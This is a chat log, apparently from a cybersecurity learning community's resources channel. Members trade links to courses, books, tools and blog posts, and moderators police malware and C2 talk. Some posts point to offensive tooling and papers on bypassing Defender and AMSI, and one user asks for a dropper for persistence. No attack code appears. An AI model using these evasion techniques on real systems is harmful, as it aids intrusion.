resources

[hexed sable]

Hi, anyone got a nice example of a customer facing business continuity plan?

[feral anvil]

Does anyone know of a good online CompTIA A+ course?

[flat falcon]

The official one maybe? Haven't done it

[simple juniper]

https://youtube.com/@professormesser
Professor Messer has the CompTIA A+ course.

[feral anvil]

Thank you

[odd sinew]

Gave +1 Rep to @simple juniper

[nova loom]

Paul browning has the full course on yt

[jagged tiger]

We don't help with schoolwork.

[cobalt canyon]

@ornate lichen free, publicly available book on Intel assembly language http://www.egr.unlv.edu/~ed/x86.html

@keen elbow https://institute.sektor7.net/

[woeful pelican]

What book would you recommend to get started in cybersecurity and hacking?

[shut ferry]

Security + by Mike Meyers is a good one

[sonic abyss]

https://explainshell.com

awesome site

[tawny dome]

mike meyers is such a good teacher.

[shut ferry]

He really is! Love all his material

[heavy ember]

https://www.academy.attackiq.com/courses/foundations-of-operationalizing-mitre-attck

[elder parrot]

https://danaepp.com/how-to-use-gpg-as-a-security-researcher

[heavy ember]

https://academy.tcm-sec.com/courses/
Practical Ethical Hacking (This is one going free right now), so if any beginner wants to enroll, here they can

[latent kelp]

Completed up a handful of certifications and wanted to reflect so I wrote this 'guide' - tips and tricks, getting certified on the cheap, my experience, and some thoughts on the CompTIA Secure Infrastructure Expert stack - also that poll on getting the CISSP https://www.allowsomedenyall.com/2023/04/comptia-secure-infrastructure-expert.html

[daring blade]

Any CEH study groups ?? Pls reach me @daring blade

[trail lodge]

Hey folks! I am starting something new: https://github.com/DMaroo/GhidRust. I'd love if people could suggest new features, contribute to it (that'd be really awesome, thanks) and test it (once it matures).

GhidRust is a WIP Rust decompilation plugin for Ghidra, which dreams to be the one and only stop for any sort Rust binary analysis required inside Ghidra. As of now, it can detect Rust binaries, apply std library's function signatures and do very basic decompilation (still buggy).

[slender oriole]

I’m not an expert on Ghidra or anyone important but I do agree that decompiling Rustlang binaries is alien-language because we’re so used to C/C++

[trail lodge]

Agreed. The lack of any sort of Rust specific reversing tools is just astonishing. I hope that the Rust reversing ecosystem evolves and matures (like that of Golang, for example).

[hoary charm]

do we have latest discount voucher for thm premium subscription?

[stuck abyss]

There was one emailed to A/B users a few weeks ago.

[shut ferry]

wait go has rev tools?

[trail lodge]

Yup. In fact Ghidra itself has a bunch of Go extensions like gotools and ghostrings.

[shut ferry]

I wanna learn go lowkehv

[junior hearth]

Can someone recommend me some resources about c2 server + deployment and things about it?

[odd quest]

Hi, discussion of these topics is locked down to specific channels with access requirements, please don't ask here

[junior hearth]

Can you provide link to these channels?

[odd quest]

They have access requirements

[cold tapir]

what are the access requirements for all of the advanced channels etc, is it level based?

like is there numerous advanced channels or is it just level 13 or certs?

[stuck abyss]

Rank 0xD, completed OSCP, Throwback or be in a top field infosec job, IIRC.

[cold tapir]

Ty

[leaden urchin]

Hi, I would like to extend to @junior hearth question, I'm having issue running Starkiller+death star or even starkiller_powershell for Throwback. I would love to have some recommendations for any alternative tools. I have tried to use the cs server from Rasta mouse, but I was not able to make it worked.

[odd quest]

I asked them to avoid asking those questions here.
It seems your question is directly related to the tryhackme throwback network?

[glossy stratus]

Hey guys, I've been thinking about migrating the Host OS of my laptop from Windows to Linux and am looking for good resources/guides on the best method for doing this. Any recommendations?

[stuck abyss]

It's not that difficult, I think the hardest part is choosing which distro of Linux you'd want to use, have you given a thought?

[glossy stratus]

@stuck abyssYes, I've used DistroChooser to narrow down some options. It suggested Devuan, Rocky, and Debian. I've also been interested in Arch

[stuck abyss]

Arch is one I don't touch because I've always broken it.

Debian could be a good start.

I've only tried Mint, Ubuntu and Kali (I don't daily drive kali. and won't suggest you do it either)

[glossy stratus]

I've run Mint before in the past on a VM. It was okay, however I didn't really like the UI. I probably will go with Debian.

[jagged tiger]

pick a distro based on your use case

if you want a linux desktop or daily driver, i'd recommend something stable-ish, but not necessarily as stable as centos or rocky. if you want to set up some enterprise-like boxes, LTS is the way to go.

[glossy stratus]

@jagged tiger It'd be for the purposes of having a linux desktop. Using my laptop is uncommon, but I'd like to have a dedicated device with linux as the host OS to experiment with. My primary desktop is Windows

And while I could continue using a VM on my primary desktop, I want the experience of using linux on metal. I believe VM's don't offer the same feeling

[jagged tiger]

I would recommend Ubuntu or Fedora - if you want newer features, the 6-month release of Ubuntu is fine. If you intend to use it for schoolwork or actual work, you may want something more stable. Like Centos or Ubuntu LTS. You could go down the route of a less common distro as well, but part of the reason the RHEL upstreams and Ubuntu are popular is because there are pretty large and knowledgeable communities available for help

[glossy stratus]

I could get down with either of those. When it comes to migrating, are there any good programs for taking snapshots in case I want to revert to my Windows OS?

[jagged tiger]

Don't nuke the factory recovery partition

And 'reverting to your old windows' won't really be possible, as you're either rewriting the partition table or you are over-writing the original windows partition.

If anything, I would recommend you get a recovery ISO and key from the desktop maker.

[glossy stratus]

Thank you for your advice, I appreciate it. Can you point me in a direction where I can learn a little bit more about how to format my drive and where to go after that?

[jagged tiger]

https://docs.fedoraproject.org/en-US/quick-docs/getting-started-guide/

https://ubuntu.com/tutorials/install-ubuntu-desktop#1-overview

[leaden urchin]

Thank you. I have got help with the issue from throwback channel 🙂

[odd sinew]

Gave +1 Rep to @odd quest

[nova loom]

https://www.phind.com/ Like ChatGPT but has access to the internet and cites it's sources

[honest nebula]

Anyone knows a good resource of utilizing sleep based sql injection?

[sharp wyvern]

Portswigger!

https://portswigger.net/
Very good site for web hacking !

[sonic nimbus]

https://leanpub.com/riskidentificationbypenetrationtestingacomprehensiveguidetotheptesframework

[shut ferry]

Hello everyone;
A program to change ip address with tor written in python2.7 2 years ago. I have rewritten it for python3.x versions under the name of PrivacyNet and shared it on my github address. You can access the vehicle from the link below.
https://github.com/HalilDeniz/PrivacyNet

[prisma bison]

@still lark Please ask before posting content on malware

[still lark]

Oops sorry

Can I post it here ? , I am giving awareness about Malware

[prisma bison]

Malware discussion is restricted to the advanced channels #start-here

[still lark]

OK , Thank You 🙂

[undone belfry]

AI-based Password Guessing tool: https://github.com/D3vil0p3r/PassGAN

[sonic abyss]

hashes.org doesn't exist

[flat falcon]

@barren vault

I think this message is not allowed in normal chats

[coral loom]

@odd quest

[heavy elm]

:hammer: -ˋˏ ༻Ｏｎｙｘ༺ ˎˊ-#8899 has been banned.

[barren vault]

Sorry was 4am for me when I was tagged & sleeping.

[graceful idol]

I'm New in TryHackMe,can
Anybody elaborate the streek freeze?

[stuck abyss]

If you have a streak freeze for 1 day.

And you answer a question on Friday, Saturday.

Then Monday rolls around, and you forget.

The streak will freeze.

If you answer a question on Tuesday, your streak will +2.

[warm vessel]

Hi, I'm going to work on threat intelligence. Can you suggest any interesting websites to me? such as where to begin...

[shut ferry]

💀

hes just reverse image seraching

they have no osint knowledge

i have lucidsint

about 20x better than them stuff they used there

[prisma bison]

Who asked though?

[shut ferry]

no one

[prisma bison]

Fr

[shut ferry]

prob any.run, virustotal, virtualbox maybe, google cloud, replit cloud, joesandbox etc

im not very good at threat intel

i dont focus on threat intel much

[proper lake]

Can u give me some of OSiNT if u use any ? And thank you so much 😊❤️

[odd sinew]

Gave +1 Rep to @steep spruce

[heavy elm]

:hammer: $ Lucid#8994 has been banned.

[proper lake]

Lol

What does just happen ?

[prisma bison]

They have a blackhat tool in their bio

[proper lake]

Oh I see

[prisma bison]

And I'm pretty sure I've banned them before for trying to doxx community members

[proper lake]

We appreciate that my friend thanks a lot 🫡❤️

[prisma bison]

np

Is that a referral link?

[fringe spire]

Seems like it

@prisma bison ^

[heavy elm]

@swift saddle has been warned.

[prisma bison]

Thanks! :))

[odd sinew]

Gave +1 Rep to @fringe spire

[jagged tiger]

Please don't post huge walls of text. If you have a resource you found that's useful, please just post the source and not 30 pages of links.

[sullen palm]

I think that's just the beginner free path?

[shut ferry]

oh ok i will remember this. deleting now

[prisma bison]

@zealous remnant Don’t post google drive links here please

[zealous remnant]

#general message

[flat falcon]

just curios, whats wrong with them?

[prisma bison]

For security and safety

[flat falcon]

what might happen with a google drive link?

[hard solar]

it's due that some can share some bad link

[jagged tiger]

Is this a referral link or do you otherwise gain anything from it?

[sonic abyss]

@sturdy shell

[heavy elm]

@sinful crag has been warned.

[woeful mirage]

For the bros interested in Solidity and Smart Contract Security/Auditing
https://github.com/razzorsec/AuditorsRoadmap

[vivid zealot]

Is there somewhere that I can find a document with all of the steps in the cyber kill chain detailed with the different tools that can be used for each step? For example enum4linux and linpeas are different options for enumeration.

[brave harbor]

I'm not sure if there is such a resource (aside from building your own), but the closest I can think of is this - https://www.amazon.com/RTFM-Red-Team-Field-Manual/dp/1075091837

[vivid zealot]

Thank you for your help!

[odd sinew]

Gave +1 Rep to @brave harbor

[vocal hamlet]

Hey team, i was hoping someone could make a recommendation on a stage 0 dropper/shell manager to use. I am not looking for a C2 with a full suite for post-exploitation but more for initial access and persistance.

[gentle shuttle]

https://github.com/watchdog2000/py-de-fuscate - a malware analysis resource for files obfuscated with pyfuscate

[sullen light]

Can someone please recommend some cyber books?

[vocal hamlet]

Sparc Flow has a bunch of books a that are awesome, they are a series. He takes you through realworld exploits while making the reading engaging.

[shut ferry]

Hi, I'm looking for resource so I can be really sharp within networking pretty much everything I need to know for hacking and what not. Anyone has any resources I can use or direct me to a course/site?

[shut ferry]

So networking or hacking? Studying networking is an entire field in itself. If you want to simply begin to become adept in the type of networking you generally need to know, in order to hack networks then THM's Network Services module is a good place to start. From there I would utilize someone on YouTube named professor Messer. If you're ever confused about a concept he can clear things right up

[night moon]

suggest me some practical books of Hacking or some resources plzz

[nova current]

The Hackers Playbook

[grim crown]

https://github.com/AtonceInventions/Hypervisor

[prisma bison]

Various Linux tools

[nova loom]

Would network+ teach me what I need to know for networking or is there another resource that's better

I'm not taking the actual certificate just using it as a structured learning path

[charred arch]

https://github.com/CalfCrusher/MaccaroniC2

[inland oyster]

How deep do you want to go?
Just learning the concepts or looking to configure switches/routers as well?

For basics network+ as a learning path is good enough

It's easy as well as there are ton of free resources/courses online and on YouTube for Network+

[remote wind]

Free 12 week course How to Learn Rust https://learning.accelerant.dev/how-to-learn-rust

[nova current]

Thanks

[odd sinew]

Gave +1 Rep to @remote wind

[sinful crag]

Do anybody has ec council courseware for ECSS or CCT certification

[spice garnet]

https://github.com/Orange-Cyberdefense/arsenal - Not my own project but maybe people here could make use of it?

[lyric heron]

https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg <- mind map for AD pentesting

[nova loom]

Pure gold, thank you

[shut ferry]

Hi. I'm probably not asking in the proper channel, but does anyone have experience preparing VMs for upload to a tryhackme room? I'm creating a room for the capstone project and there just isn't much documentation on what they expect for an uploaded box...

[sudden fern]

!docs room-creation

[fervent summit]

TryHackMe

Get started with making TryHackMe rooms!

https://help.tryhackme.com/en/collections/3665114-tryhackme-for-users#room-creation

From TryHackMe with ❤!

[sudden fern]

@shut ferry ⬆️ should be a good start

[shut ferry]

This is what we're using for the pentest+ prep class I'm taking and it's been pretty great so far, lots of resources within.

https://www.pearsonitcertification.com/store/comptia-pentest-plus-pt0-002-cert-guide-9780137566068?gclid=CjwKCAjw67ajBhAVEiwA2g_jEK068H2WYER963lOfyKlf-wGUwtP2QfVKYzDtazdK3k2JXyMSY7uGBoCeGUQAvD_BwE

[shut ferry]

Thank you I'll check it out.

[odd sinew]

Gave +1 Rep to @sudden fern

[sudden fern]

no problem

[shut ferry]

Man why isn't this more prominently displayed with the development tab in thm? This is great thank you 🙏

[shut ferry]

Does anybody know what happened to the "my machine" page where you could deploy a Kali box not attached to a room?

[shut ferry]

Hello @sudden fern? Can I ask another question real quick ?

[vagrant lion]

How can I (Account-Take-Over) any Account ? (2) https://medium.com/@ozomarzu/how-can-i-account-take-over-any-account-2-9533d54bc33e

[odd quest]

Deprecated a while ago.
The attackbox/kali aren't attached to rooms, deploying it in one allows access from any

[sudden fern]

sorry for late reply but shadow was sleeping... so how can shadow help if you have not solved it yet???

[odd sinew]

Gave +1 Rep to @sudden fern

[shut ferry]

It's a well-known fact that shadows need sleep too!

I have not figured out my problem, despite working on it until my brain became mushy yesterday

It would probably be easier to explain specifically what's going on in a DM, if that's okay with you. I'm not trying to muddy up the channel too much. If not though, I'll happily muddy it up to meet my own needs lol

[prisma bison]

@zinc silo Hey, discussion of Google Dorks is okay within reason but please refrain from posting dorks to find vulnerable websites here 🙂

[outer geode]

Hey guys, quick question for anyone that might have some advice. If I just started and want to get a book or two to read, which ones would you recommend? I have a basic understanding of programming from my electrical engineering curriculum, but thats about it

[sudden fern]

to fell a tree
jeff jepson
ISBN 978-0-615-33879-8

why this book specifically??? it is extremely good at teaching how to write and provide good learning content meaning it can teach you how to show your progress and methods in an easy to understand matter

and a bonus is you will learn a skill most hackers don't have

[outer geode]

maybe one related more to cybersecurity?😂 @sudden fern

[sudden fern]

well report writing and getting points across is important in all of cyber security but sure
Black Hat Ruby: Offensive Ruby programming for Hackers and Pentesters

[outer geode]

thanks!

[shut ferry]

https://youtu.be/KPd-ct3Fkg0
If anybody is interested in automating your google dorking and making your own search engine https://programmablesearchengine.google.com/about/

[remote ore]

💀 🥲

[shut ferry]

Anyone has any good free courses or resource for learning the basic of computer components. Like (CPU,RAM) and everything else. Also is it recommended to learn more about computer architecture when learning more about hardware?

[night ether]

the comptia a+ probably covers most everything you need to know at a basic level

[simple creek]

https://m.youtube.com/playlist?list=PLG49S3nxzAnnOmvg5UGVenB_qQgsh01uC

[nova loom]

+1 for professor messor

[elder parrot]

https://danaepp.com/the-lucrative-economics-of-api-hacking

[lone kraken]

Hi, I want to join THM site and has come to my attention there are 20% off referrals codes. Anyone can help me out with that?

[sonic abyss]

I'm not aware of any referral codes? Just the 20% student discount?

[violet cove]

this might be better asked here: hey all Im looking for studying tips. Im going thru all the "easy" courses to get caught up on the basics. Do you write things down w/pen&paper while you go thru the material? are you typing it out in a note taking app (app?)? or do you just blast thru the, like I am lol? thanx

[simple juniper]

I use obsidian to take my notes. There are several note taking apps you can try. I'd suggest that you take notes of everything you've learnt for the first time so you can refer back to it later when you encounter the same challenge and you need help.

[hard solar]

Taking notes is quite important. ill say even to prioritize it. taking notes is can save lots of time

[inner heron]

I've not been taking notes at all until very recently and it's definitely helping. I also am forming a cheat sheet of sorts with a bunch of basic commands for various software we use

[vapid root]

Blasting through without taking notes is a bad idea. The amount of knowledge to be learnt is infinite and you'll never memorize it all. Otherwise, you'll be wasting valuable time searching google when you encounter a challenge that you've done before but forgotten how to do. The better your notes are the more efficient you'll become at hacking. I would recommend noting in a digital format which makes searching faster and it's easier to reorganize everything as sections grow and warrant sub-headings. I originally started taking notes on my phone with One Note and I'm now converting all my notes into Obsidian because the amount of notes grew to such a stage I noticed it was slowing me down while trying to find things in One Note. After discovering Obsidian, I really regret not having migrated to it sooner.

[charred arch]

https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/

[prisma bison]

@latent kelp That’s not a resource?

[violet cove]

@simple juniper thank you!

[odd sinew]

Gave +1 Rep to @simple juniper

[violet cove]

@hard solar thank you

@vapid root thank you much!

Great advice everyone. Ive begun taking notes on my studies using office word. Using the first three headings options seems to organize everything pretty well for now. Definitely going to check out obsidian today. Again, thank you everyone

[warm pawn]

Check out notion! Obsidian is the competition of notion, most say that it is somewhat better. They do have a ai that you could use in the app and collaboration system and allot more. Haven't tried Obsidian but I am using notion

[shut ferry]

looking a resource's for bug hunting and computer science & web hacking for a bug hunting

[flat falcon]

Look at the pins in the bugbounty chat

[shut ferry]

thanks

[odd sinew]

Gave +1 Rep to @flat falcon

[dawn oak]

I got a virtual machine with web server configured. I need to find vulnerabilities in it and report it.
So i am looking for some resources to write a report for that since I don't have experience writing reports.
Thanks in advance

[surreal canyon]

Hi! I've recently upload this post about a homelab to study the eCPPTv2 certification. Because I don't know in which channel upload it, I am going to send it here. Hope you ejoy!

https://ruycr4ft.github.io/posts/eCPPTv2-homelab

[meager halo]

kk

[spiral bear]

hai

[sonic abyss]

https://cheatsheet.haax.fr/

[tepid patio]

yo, the shodan room is fixed and so is my blogpost 😄 (the images pointed to a broken URL. Fixed them 🙂 )

https://skerritt.blog/shodan/
https://tryhackme.com/room/shodan

[surreal sapphire]

Does anyone have any good resources for learning Python a little better? Preferably free, or low cost. I would like something that starts with the basics and has exercises where I can actually test my knowledge. I downloaded a couple of apps but they're like Duolingo of Python and are too easy...not enough ways to actually apply the learning, only very very easy multiple choice questions. Thank you!!

[sonic abyss]

https://nedbatchelder.com/text/kindling.html

Also checkout the pinned messages in #resources

[odd quest]

Kattis was missing from that list, that was an interesting one

[surreal sapphire]

Thanks!

[odd sinew]

Gave +1 Rep to @sonic abyss

[sonic abyss]

https://github.com/hackclub/some-assembly-required
🙂

[stuck abyss]

@brazen sequoia

[brazen sequoia]

@pale gull Please don't make posts like that here 🙂

[gloomy vapor]

Does anyone know any good resources for Rust coding and security standards.

[prisma bison]

@finite patio Please post the course link, not a link to YouTube on how to claim the course 🙂

[untold nebula]

A lot of mindmaps to help you navigate the cybersecurity universe:

https://github.com/Ignitetechnologies/Mindmap/tree/main

Also here’s a bunch of networking cheat sheets:

https://packetlife.net/library/cheat-sheets/

[surreal sapphire]

Thanks!! Some of that is going to be super helpful 😄

[odd sinew]

Gave +1 Rep to @untold nebula

[static veldt]

https://github.com/The-Viper-One/PsMapExec

[spice garnet]

Would individuals appreciate a list of play books for all the common services/basic enumeration? Maybe with some automatic scripts to help enumerate

[flat falcon]

The Firefox extensions mind map here help me find some useful stuff

[balmy coral]

for those interested i shared my obsidian vault on github, it's public and most of it's redacted but every plugin and style still is maintained 😄
https://github.com/NicoBouquiaux/LYT-Kit_Redacted.git

[tepid patio]

hihi if you are looking at making an open source project I updated my article on my tips for it. i follow this formula myself and its worked for me, hope someone else finds it good

tl;dr - your readme / design is a lot more important than most people think 😄

https://skerritt.blog/make-popular-open-source-projects/

[sonic abyss]

https://www.cybok.org/

From the university of Bristol in association with NCSC

[sonic abyss]

Also https://github.com/ashemery/exploitation-course

[tepid patio]

Request for resources: Setting up an Nvidia GPU on a Linux server with no GUI for CUDA support (even more so for the GTX 2060) with PyTorch

I have followed quite a few guides and they either assume I have a GUI so I can click through an app, or it's not quite right 😦

[jagged tiger]

IIRC nvidia drivers on linux require xorg to installed? It's been awhile

[odd quest]

I managed cuda headless without too many problems but not pytorch
Is this your home environment? Happy to help in DMs etc

[odd quest]

Proprietary ones definitely don't, my cracking rig doesn't have xorg afaik

[tepid patio]

yes my home environment, I am trying to mary https://github.com/paperless-ngx/paperless-ngx and https://github.com/PromtEngineer/localGPT

Do you know what Nvidia drivers you got? Are they GPU specific? The ones I'm installing look to be specific to something haha

ssh autumn@XXXXX
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Now I can't SSH in for some reason what a fun time

I love homelabs because you try to do something and everything breaks and its just a case of doing my job outside of my job to fix everything

[odd quest]

Proprietary direct from nvidia iirc?
20 series is new enough that it should still be supported

[tepid patio]

what a way to learn that nvidia has first party driver support, i am still living in 2010 apparently

[jagged tiger]

do you not have nvc++ installed? Last time I did CUDA on linux ( ~6 years ago) xorg had some library that was a dependency

[odd quest]

I don't have the dev dependencies

Just runtime

[jagged tiger]

Hmm

[odd quest]

Like a 2-3gb download still though?

[jagged tiger]

yeah, the CUDA libs themselves are pretty huge

[tepid patio]

I am not saying they have caused this, but I tried to set up a HP printer with its silly software and now I no longer have public / private keys on my machine....

[shell sinew]

What is the name of the site that has an archive of exploits?

[sudden fern]

https://www.exploit-db.com/ ????

[shell sinew]

lmfao if this is the one I am referring to I am so sorry for asking lol

I can't check rn cause my work firewall has it blocked. but in my defense it was a couple years since I last needed it hhaha

[autumn kestrel]

there's vulners too

[cyan lagoon]

hello. I am looking for Web Application CTFs styles of challenges whereby I can practice techniques such as XSS, CSRF and SSRF etc.

I've done the burp modules, tough I find them too theoretical. I've also completed the pwnCollege module which we're more my kind of thing.

best regards.

[flat falcon]

Owasp juice shop And PortSwigger Academy labs
Although very different, both can help you practice, and are free

[acoustic ledge]

does anyone know free iOS emulator for windows?

[jagged tiger]

As this tool has a lot of unethical potential uses that are very low hanging fruit, I would ask that you not advertise it here.

[simple juniper]

https://anonchatgpt.com/

[nova loom]

What's the catch? It's using gpts paid api and not storing queries, how is it making money?

[simple juniper]

I don't know how they make money but it saves login time to make some quick queries.

[odd quest]

https://isc.sans.edu/diary/ViperMonkey+VBA+maldoc+deobfuscation/24346
https://www.decalage.info/vba_tools

[hollow depot]

I don't think this is really fitting content for this channel 😉

[odd quest]

Works on my machine

Eh, discord bug

That's the image below that I posted that's spinning

[odd quest]

Discord bug.

[stuck abyss]

Ctrl and R might fix it.

Take alot of screenshot on Windows, and want the time stamp to feature on the command prompt or powershell?

###create a powershell profile, if it doesnt exist already
New-Item $Profile -ItemType file –Force
##open it in notepad to edit
function prompt{ "[$(Get-Date)]" +" | PS "+ "$(Get-Location) > "}
##risky move, need to tighten this up. Change your execution policy or it won't
#run the profile ps1
#run as powershell admin
Set-ExecutionPolicy RemoteSigned

Command prompt

setx prompt $D$S$T$H$H$H$S$B$S$P$_--$g

[remote ore]

is it ok to learn from teh book which has reputation but its from 2008 -2012

i don't think fundamental change that much over time, whats is the advice ?

[surreal sapphire]

I have some older networking books that I have used to read about basic protocols and concepts that haven't changed. Just know that the info might be outdated and you should follow up with something more recent to ensure the info you know is up to date, if that makes sense.

[inland oyster]

Depends on which one. Plenty of them can still somewhat be relevant

[surreal sapphire]

Anyone that is a FL resident and over 18 and just getting started trying to get into the field might be interested in this: https://cyberskills2work.org/i/pathway/10121/detail (full disclosure, I just saw this on LI and thought I would pass it on, I know nothing else about the program except it's free and you should be able to do CYSA+ at the end)

[grizzled ore]

Cleared my CRTE exam few days ago. Wrote an blog for its review and preparation guide along with my notes. Hope it helps anyone who is preparing for it.
https://0xstarlight.github.io/posts/CRTE-Exam-Review/

[shut ferry]

https://odyssey.hackrocks.com/info/about

This is a cool Homer's odyssey story inspired CTF

starts in 5 days

[keen field]

https://www.youtube.com/@webpwnized/playlists

[sonic abyss]

https://twitter.com/shodanhq/status/1680723526494609409

Shodan (@shodanhq)

The $5 Membership sale is now live! The sale lasts until July 17 23:59 UTC: https://t.co/0iqiq2vTpn

Likes

1000

Retweets

597

Twitter · Jul 16, 2023, 11:38 PM

[sonic abyss]

https://youtube.com/@BranchEducation
Brilliant channel

[sonic abyss]

I totally agree

[static veldt]

Little tool I made, would be great if I could get some feedback 🙂

https://github.com/The-Viper-One/PsMapExec

[polar oasis]

https://github.com/RyanDodd21/GaTS/tree/main

PrivEsc and Enumiration script/tool downloader for windows + linux

feel free to suggest additional tools

[wooden vortex]

guys, can you recommend some infosec news sources like newsletters, blogs etc. to be somewhat up to date?

[sudden fern]

dark reading
full disclosure
packet storm
threatpost

all of these have rss feeds too

[wooden vortex]

thank you!

[odd sinew]

Gave +1 Rep to @sudden fern

[sudden fern]

no problem

generally some more general stuff news sources post about things like this too

like bleeping computer and ars technica

[balmy coral]

I've noticed for a lot of beginners they tend to not know any starting point on how to take notes, hence why i publicised a public repo of my redacted obsidian vault, which can be customized to your needs. Hope it helps new beginners on getting straight away started on taking notes while learning:
https://github.com/0xSoundOfSilence/LYT-Kit_Redacted

[small night]

heh it's your opinion I guess
the creator of the room is also the creator of haiti
personally I find haiti better. everyone uses whatever they want at the end of the day

[sudden wing]

💜

[shut ferry]

https://faviconmap.shodan.io/

map of top 5000 sites and services, by favicon with the biggest favicons being the most popular

[idle robin]

https://github.com/MatheuZSecurity/Koth-TryHackMe-Tricks

[stark urchin]

Does anyone know how I can set up a vulnerable server just like the one THM is using in the Burp Suite Room? I want to practice more penetration testing stuff on it. 🙂 Thanks

[sullen totem]

Yes. We need this

[stuck abyss]

What sort of server?

[sullen totem]

Either a bank or crypto vulnhub VM at least for me

I can build the web app if necessary just don’t know how to make a vulnhub server

[sacred pasture]

https://docs.bluekeys.org/guide/cyber-securite/owasp-top-10

hello people will you have the name of a blog which is represented as this site (exactly the same) but in English? it's a known blog but I can't find his name lmao. It bundles all the good cyber security resources for information

[junior hearth]

List of useful wiki like sites

• Wikis
  • https://www.thehacker.recipes/
  • https://cr0mll.github.io/cyberclopaedia/
  • https://www.ired.team/
  • https://book.hacktricks.xyz/

[idle robin]

https://github.com/MatheuZSecurity/NullSection

[pine vortex]

I found this blog on **Some common Steganography tools for CTFs** and it is for extreme beginners in CTFs.
This writeup consists of the information which I found very useful as a complete beginner.

https://medium.com/bugbountywriteup/some-common-steganography-tools-for-ctfs-92e3de93f141

[rugged forum]

Is there a site where I can stay up to date about everything in pentesting ? Also about how AI is being used in cyber…i assume there are alot of AI tools that make life easy for pentesters, SOC analysts etc

[jolly apex]

Hey guys, in my journey learning bash scripting i have made a very dirty (stupid) subdomain enumeration tool. Maybe you will get something out of it! https://github.com/Luke57/subseeker/

[sonic abyss]

I think this has been posted before but,
https://www.phind.com/
Basically free access to GPT4 + Tells you the sources + Can change website rankings - I've found it really helpful so thought it'd be worth posting

[spring coral]

I don't understand, but here is a directory of vulnerable instance made by owasp:

https://owasp.org/www-project-vulnerable-web-applications-directory/#

[tribal oyster]

hi guys... does anyone have resources for learning tcpdump and Wireshark?

[stuck abyss]

THM has a few wireshark rooms.

[tribal oyster]

thanks bro

[odd sinew]

Gave +1 Rep to @stuck abyss

[sonic abyss]

https://youtu.be/EHp4FPyajKQ
Finally made it click watching this

[odd sinew]

Gave +1 Rep to @mystic siren

[sonic abyss]

https://tenor.com/view/its-the-thought-that-counts-efe-omowale-assisted-living-its-all-about-good-intentions-only-kind-intentions-matter-gif-22405739

[torpid gate]

Hey guys , i'm going to do a telecommunications networks license at university and I want to take a little advance, are there any introductory courses to advise me?

[distant wave]

Maybe have a look at Professor Messners Yt-Channel

[idle robin]

https://www.youtube.com/watch?v=pdnW8l-URR4

[idle robin]

https://inferi.zip/paper/transforming-mimikatz-into-a-shellcode-and-bypassing-defender

[shut ferry]

https://denizhalil.com/2023/08/03/360-free-rooms-tryhackme/

[prisma bison]

There’s this one too https://blog.tryhackme.com/free_path/amp/

[idle robin]

https://inferi.zip/paper/lateral-movement-via-mmc20-application

[sonic abyss]

Where did you get these rooms? A lot of them are private

[shut ferry]

they are always there dude

[stuck abyss]

Private rooms can't be access...

Also, I seen this on your blog.

[idle robin]

https://inferi.zip/paper/viewstate-deserialization-to-rce

[sonic abyss]

Well, CC Pentesting for example, that's an extremely outdated and retired room

I don't understand the fuss behind TLDs like these, they are the exact same as any other one (like .tech or .com or .org)

Would you mind explaining your reasoning behind it? I'm just generally curious if I'm missing something

You realize that the domain name has nothing to do with downloading things?

sure

[idle robin]

? Lol

and only you don't go

[idle robin]

ya, exactly

well, there's nothing you can do about it if you don't have knowledge about how domains really work. We post papers with incredible subjects and techniques, it's up to the reader if he wants to or not.

[idle robin]

@unique crown you deleted all messages lol 🤣

[inner light]

Found this awesome description of the RSA Algo
https://www.youtube.com/watch?v=Pq8gNbvfaoM

[swift wedge]

https://youtu.be/Gkq8Az4Sx98

[idle robin]

https://inferi.zip/paper/from-amsi-to-reflection

[broken scarab]

https://www.youtube.com/watch?v=MwMjrLL6HmQ

[honest nebula]

Hey,
I have a Windows application that I need to reverse engineer and identify vulnerabilities within.
I've opened the folder with dotpeek and there are lots of dlls and I need some direction what to look for.
I'm looking for some tips or a link to a good source to learn from.
Thanks.

This is a top level view of the dlls:

[idle robin]

https://www.youtube.com/watch?v=LB2Vu7y3QYI

[sonic abyss]

https://github.com/public-apis/public-apis

[sly cedar]

You have www.vulnhub.com where you can exploit everything you want

[brazen sequoia]

@graceful hawk Code seems to not work, and we don't really want to advertise paid content in here 🙂

[south crater]

One question.

As a hacker is it better to know how "raw coded" things work, or use libraries that makes it easier. Say a hacker will use web socket to make something in realtime, will he use a library for that or just use a protocol/built in modules to do the job(Maybe the worst example).

[sonic abyss]

Understand how it works at the lower level, then use a library to quickly get it done

https://github.com/fortra/impacket

[sonic abyss]

https://youtube.com/watch?v=q3-xCvzBjGs
cool video for slow people like me

[nova loom]

Very cool, thanks for sharing

[dark tinsel]

Hi everyone

I recently wrote an article on Passkeys. They are a new passwordless authentication method that offer a safer and easier alternative to passwords. So if you want to learn more, click on the link below and let me know what you think 🙂

https://www.cybersecguidance.com/post/passwords-are-broken-all-hail-passkeys

[near scroll]

Hello. I'm looking for a resource I can keep on my attacker VM that is a folder including all or most exploits/scanners that are transferred to windows targets and AD environments. I can make my own but I bet someone already made a git for it somewhere and includes things I don't know about.

Please @ me if you respond to this

[shut ferry]

https://www.edx.org/learn/cybersecurity/harvard-university-cs50-s-introduction-to-cybersecurity?webview=false&campaign=CS50's+Introduction+to+Cybersecurity&source=edx&product_category=course&placement_url=https%3A%2F%2Fwww.edx.org%2Fcs50

Is this new?

[simple juniper]

https://cs50.harvard.edu/cybersecurity/2023/
Says "Check back in October 2023 for the full course!"

[shut ferry]

Yeah, just asking if cybersecurity has been a course CS50 has been doing before I'm not sure

[simple juniper]

It's a new addition to the course

[unique crown]

DarkNet Diaries RSS (for youtube)

https://www.youtube.com/feeds/videos.xml?channel_id=UCMIqrmh2lMdzhlCPK5ahsAg

[idle robin]

https://vuldb.com/pt/?id.237516

this is my new cve

[vale goblet]

im currently doing the soc level 1 path. are there any good books to read about that topic?

[karmic wave]

Hi , any resource to walkthrough Android Hacking 101?

[inland oyster]

SOC lvl 1 path is quite broad
Is there any specific topic here you are interested in?

[vale goblet]

not really im too new to the field

but i search a bit on amazon and i think i found some interesting books

[plush sequoia]

how do you convert a jar or dex file to apk

